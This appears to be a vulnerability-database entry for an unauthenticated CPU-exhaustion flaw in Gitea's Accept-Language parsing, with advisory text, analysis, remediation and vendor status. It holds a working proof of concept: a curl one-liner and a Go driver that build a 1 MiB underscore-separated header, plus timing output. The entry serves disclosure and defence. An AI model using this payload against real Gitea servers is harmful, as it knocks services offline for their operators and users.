Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Network-reachable unauthenticated endpoint with no special configuration; impact is exclusively availability via CPU exhaustion with no confidentiality or integrity consequence.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
7DescriptionCVE.org
Summary
The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by reading
modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
tag := translation.Match(tags...)
lang = tag.String()
}req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a
fresh client, or simply does not send the cookie).
req.Header.Get("Accept-Language")returns the full attacker-supplied
header value.
language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:13000/Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:13000/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.
Target: http://127.0.0.1:13000/
warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042sInterpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1
MiB request.
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a
10-core Gitea instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as
abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Gitea installations published to the public internet (the
common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values
if len(lang) == 0 {
al := req.Header.Get("Accept-Language")
if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
al = ""
}
tags, _, _ := language.ParseAcceptLanguage(al)
tag := translation.Match(tags...)
lang = tag.String()
}A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
Articles & Coverage 1
AnalysisAI
Unauthenticated denial of service in Gitea's Locale middleware allows any remote attacker to consume ~2 seconds of server CPU per HTTP request by crafting a ~1 MiB Accept-Language header composed of underscore separators, bypassing the existing CVE-2022-32149 guard in golang.org/x/text which only counts dash characters. All Gitea releases from 1.22.x through 1.26.x are affected because the middleware at modules/web/middleware/locale.go:38 passes the raw, unfiltered header directly to the quadratic-time ParseAcceptLanguage parser; ten concurrent attackers consuming ~10 MiB/s of upstream bandwidth can saturate all cores of a ten-core host indefinitely. Publicly available exploit code exists in the GHSA advisory; no active exploitation has been confirmed by CISA KEV at time of analysis.
Technical ContextAI
The vulnerability is rooted in CWE-407 (Insufficient Control of Algorithmic Complexity). Gitea's HTTP request pipeline wires the Locale middleware globally in routers/web/web.go so it runs before authentication on every request. At modules/web/middleware/locale.go:38, the middleware calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header value. The BCP 47 parser inside golang.org/x/text has a known quadratic-time scan path (the gobble function in internal/language/parse.go) triggered by long lists of malformed language tags. CVE-2022-32149 added a guard in 2022 that rejects inputs containing more than 1000 dash (-) characters. However, the scanner internally aliases underscore (_) to dash before parsing, so inputs built from underscore separators contain zero dash characters, pass the guard unconditionally, and still drive the O(N²) gobble path. Because Go's net/http default MaxHeaderBytes is 1 MiB (1 << 20 bytes) and Gitea does not override it, an attacker can deliver up to 1 MiB of input - approximately 104,857 underscore-separated tokens - to the vulnerable parser. The affected package is pkg:go/code.gitea.io_gitea covering versions through 1.26.4 per ENISA EUVD-2026-58163.
RemediationAI
Vendor-released patch: v1.27.0. Upgrade to Gitea 1.27.0, which introduces a 200-character hard truncation of the Accept-Language header inside a new parseAcceptLanguage wrapper in modules/web/middleware/locale.go (commit f452c369acc9f1bd05ec6ef9c2e4399062dd6da1, PR https://github.com/go-gitea/gitea/pull/38323; release blog at https://blog.gitea.com/gitea-1.27.0-is-released/ and tagged release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0). For deployments that cannot upgrade immediately, place a reverse proxy or WAF in front of Gitea and reject or truncate Accept-Language headers exceeding 200 bytes - for example via nginx's proxy_set_header or a ModSecurity rule; this eliminates the attack surface without application changes, though it may silently discard unusual but legitimate multi-language preference lists (a negligible real-world trade-off since browser headers rarely exceed 100 bytes). Reducing Go's net/http MaxHeaderBytes is a code-level alternative but requires recompilation. Note that the root cause also exists in the golang.org/x/text library itself; an upstream fix to ParseAcceptLanguage would be the definitive long-term resolution.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-407 – Inefficient Algorithmic Complexity
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58163
GHSA-fw57-jgch-pgf3